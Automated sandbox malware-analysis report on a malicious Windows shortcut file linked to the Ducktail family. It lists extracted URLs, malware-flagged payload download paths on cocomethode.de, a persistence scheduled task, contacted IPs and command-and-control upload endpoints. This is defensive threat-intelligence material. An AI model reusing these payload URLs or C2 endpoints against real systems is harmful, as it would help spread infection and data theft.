https://aka.ms/nativeaot-compatibilityy	powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000014.00000002.5357568309.000002B707423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000014.00000002.5353746659.000002B70667E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft.coB	powershell.exe, 00000008.00000002.4010996899.00000200F1273000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	powershell.exe, 0000000C.00000002.4298843299.000001DD803BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000003.00000002.3816213089.000002730022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsof	powershell.exe, 00000008.00000002.4010996899.00000200F1164000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.glo	svczHost.exe, 00000015.00000002.5363900069.00000249A8D50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD804C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pesterh	powershell.exe, 00000003.00000002.3816213089.0000027301087000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.000002730139E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trustnce	svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/Wizard/Password/Change?id=806010	svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000003.00000002.3816213089.000002730022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policyom	svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-c	svczHost.exe, myRdpService.exe	false		high
https://cocomethode.de	powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200805D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80385000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8188C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE0B5B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.t.com/pki/crl/pricRooCerAut_2010rl0Z	powershell.exe, 00000004.00000002.4184495621.0000016FF88BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/StaticFile/RdpService/63ice	svczHost.exe, 00000015.00000002.5354820158.0000020914C92000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/runtime	powershell.exe, 0000000C.00000002.4689353491.000001DD900A2000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000000.4283225979.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp	false		high
https://cocomethode.de/file2/058	powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/dotnet-warnings/	powershell.exe, 0000000C.00000002.4689353491.000001DD900A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000000.4283225979.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	powershell.exe, 00000004.00000002.4053919811.0000016FE0BB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/PesterXz	powershell.exe, 00000003.00000002.3816213089.000002730022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000014.00000002.5356243546.000002B706F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031293033.000002B706F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356992312.000002B706F7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904	powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://.jpg	powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS%3C/ds:KeyName%3E	svchost.exe, 00000014.00000002.5355356491.000002B706713000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.3833875845.00000273101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3833875845.0000027310081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.00000273014EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4168001011.0000016FF06C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4168001011.0000016FF0535000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020081654000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	false		high
http://wsoft.com/pki/ceroCerAut_2010-06-	powershell.exe, 00000004.00000002.4184495621.0000016FF88BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000003.00000002.3816213089.0000027301087000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.000002730139E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	powershell.exe, 0000000C.00000002.4298843299.000001DD80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8022C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de:443/	svczHost.exe, 00000015.00000002.5354820158.0000020914CAD000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5354820158.0000020914CA7000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000014.00000002.5353879244.000002B706692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4011072862.000002B706F2F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc	powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microsof/crl/products/MicTimStaPCA_2010-07-01.crl0Z	powershell.exe, 00000008.00000002.4010996899.00000200F1164000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 0000000C.00000002.4857638281.000001DDEF026000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.1.51	cocomethode.de	United States		13335	CLOUDFLARENETUS	true
23.88.71.29	unknown	United States		18978	ENZUINC-US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573012
Start date and time:	2024-12-11 12:41:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3y37oMIUy6.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@82/62@1/2
EGA Information:	Successful, ratio: 10%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.109.20.38, 52.111.229.48, 52.113.194.132, 52.109.0.144, 20.190.157.13, 40.126.29.12, 40.126.29.6, 40.126.29.7, 20.190.157.2, 40.126.29.9, 20.190.157.14, 40.126.29.5, 52.182.143.208, 52.111.236.23, 173.194.219.94
Excluded domains from analysis (whitelisted): prod.ols.live.com.akadns.net, scus-azsc-config.officeapps.live.com, ecs-office.s-0005.s-msedge.net, login.live.com, officeclient.microsoft.com, www.gstatic.com, onedscolprdcus04.centralus.cloudapp.azure.com, ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, s-0005-office.config.skype.com, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, s-0005.s-msedge.net, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, ecs.office.trafficmanager.net, nexusrules.officeapps.live.com, api.msn.com, ols.officeapps.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target myRdpService.exe, PID 5184 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 5080 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6616 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7852 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7884 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8260 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8744 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9076 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 9168 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3y37oMIUy6.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:43:58	API Interceptor	6208x Sleep call for process: powershell.exe modified
06:46:20	API Interceptor	15x Sleep call for process: myRdpService.exe modified
12:44:45	Task Scheduler	Run new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 cocomethode.de

LLM Input / Output

Input	Output
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.1.51	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
23.88.71.29	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/command/ws
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
